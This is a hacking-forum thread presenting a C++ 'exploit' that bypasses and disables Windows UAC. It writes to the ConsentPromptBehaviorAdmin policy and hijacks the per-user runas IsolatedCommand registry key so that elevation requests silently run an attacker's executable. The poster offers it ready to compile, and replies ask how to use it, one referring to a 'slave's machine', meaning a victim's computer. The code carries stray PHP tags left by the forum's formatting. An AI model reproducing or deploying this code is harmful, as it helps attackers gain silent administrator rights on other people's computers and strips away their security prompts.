

Forum:[Hack Forums](#)

Thread: [\[TUT\] Bypass and disable UAC with exploit 11/6/2012](#)

KILLM3 - November 6, 2012, 9:26 am

```
C++
PHP Code
<?php
#include <windows.h>
//Exploit Title: UAC Disable and always Admin
//Date:11/6/2012
//Exploit Author:KILLM3
//Tested on: Windows 7 x86
//Description: Attempts to elevate execution level to admin
//             and then disable UAC so that all actions have
//             Admin Privileges with no warning.
using namespace std;

int main()
{
    HKEY key1, key2;
    //key1 is for HKLM which needs Admin
    //key2 is for HKCU which does not
    if (RegOpenKey(HKEY_LOCAL_MACHINE, TEXT(
"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"), &key1) == ERROR_SUCCESS)
//Attempt to edit HKLM
    {
        if (RegSetValueEx(key1, TEXT("ConsentPromptBehaviorAdmin"), 0, REG_DWORD, (LPBYTE)
"\00\00\00", 4*sizeof(char)) == ERROR_SUCCESS)
        {
            RegOpenKey(HKEY_CURRENT_USER, TEXT(
"Software\\Classes\\exefile\\shell\\runas\\command"), &key2);//If able to edit HKLM, restore HKCU
RegSetValueEx(key2, TEXT("IsolatedCommand"), 0, REG_SZ, (LPBYTE)"\\22\\25\\31\\22\\20\\25",
strlen("\\22\\25\\31\\22\\20\\25")*sizeof(char));
            exit(1);
        }
    }
    else //If editing HKLM Failed
        RegCloseKey(key1);//Close HKLM
    if (RegCreateKey(HKEY_CURRENT_USER, TEXT(
"Software\\Classes\\exefile\\shell\\runas\\command"), &key2) != ERROR_SUCCESS);
//Create key "command" in HKCU
    else
    if (RegOpenKey(HKEY_CURRENT_USER, TEXT(
"Software\\Classes\\exefile\\shell\\runas\\command"), &key2) != ERROR_SUCCESS);
//Open (select) "command" key in HKCU.
    else
    if (RegSetValueEx(key2,
        TEXT("IsolatedCommand"),
        0,
```

```

        REG_SZ,
        (LPBYTE)
"rundll32.exe SHELL32.DLL,ShellExec_RunDLL C:\\Users\\Admin\\UACElevate\\bin\\Debug\\UACEI
evate.exe",
        strlen(
"rundll32.exe SHELL32.DLL,ShellExec_RunDLL C:\\Users\\Admin\\UACElevate\\bin\\Debug\\UACEI
evate.exe")*sizeof(char)) != ERROR_SUCCESS);

//Make any requests for "runas admin" run rundll32.exe (A signed EXE), and then have it execute thi
s EXE,
        //which will then have admin rights to edit HKLM, and disable UAC completely.
else
RegCloseKey(key2);//Close HKCU
//ShellExecuteA(NULL,"runas","wuapp.exe","%WINDIR%\\System32\\",NULL,5);
//Uncomment the above line if you want the exploit to happen immediately and not wait on the user t
o naturally try to run something as admin.
return 0;
}

```

Change strings to your needs, compile, and run exe (28kb).
Enjoy, KILLM3

spyware - November 6, 2012, 9:55 am

Not much of a [TuT] haha^^, could you be more specific on how to do this?
What type of project should be used?

KILLM3 - November 6, 2012, 2:03 pm

(Nov 6, 2012 10:55 AM)spyware Wrote: [\[CITE\]](#) Not much of a [TuT] haha^^, could you be more specific on how to do this?

What type of project should be used?
Change these lines to the path of the exe you're creating:

PHP Code

```

<?php
(LPBYTE)

```

```

"rundll32.exe SHELL32.DLL,ShellExec_RunDLL C:\\Users\\Admin\\UACElevate\\bin\\Debug\\UACEI
evate.exe",

```

```

        strlen(
"rundll32.exe SHELL32.DLL,ShellExec_RunDLL C:\\Users\\Admin\\UACElevate\\bin\\Debug\\UACEI
evate.exe")*sizeof(char)) != ERROR_SUCCESS);

```

Compile it as a C++ console app, and then run the exe.

It's not much of a tutorial because I've done all the work for everyone already. All they have to do is compile.

youga - November 6, 2012, 2:16 pm

Thank you very good I'm very happy I love, thank you

spyware - November 7, 2012, 3:36 am

it says that there is something wrong with line1 (#include <windows.h>), how do i fix this..?

kybrd - November 8, 2012, 4:34 pm

Thank-you for this snippet of code...

Time to chuck some ROP into the mix...

abadguy87 - January 8, 2013, 5:46 am

(Nov 6, 2012 03:03 PM)KILLM3 Wrote: [\[CITE\]](#) Change these lines to the path of the exe you're creating:

PHP Code

<?php

(LPBYTE)

"rundll32.exe SHELL32.DLL,ShellExec_RunDLL C:\\Users\\Admin\\UACElevate\\bin\\Debug\\UACElevate.exe",

strlen(

"rundll32.exe SHELL32.DLL,ShellExec_RunDLL C:\\Users\\Admin\\UACElevate\\bin\\Debug\\UACElevate.exe")*sizeof(char)) != ERROR_SUCCESS);

what do you mean "the path of the exe you're creating? the path inside slave's machine? could you explain better I'm not english ? . thank you.

Imaginary - January 8, 2013, 6:04 am

Nice job. Going to test this asap...

Forc?d - January 8, 2013, 6:11 am

Really good share this one! Thanks man!

RelationShit - January 8, 2013, 6:58 am

Awesome work you got there, thanks for posting!!?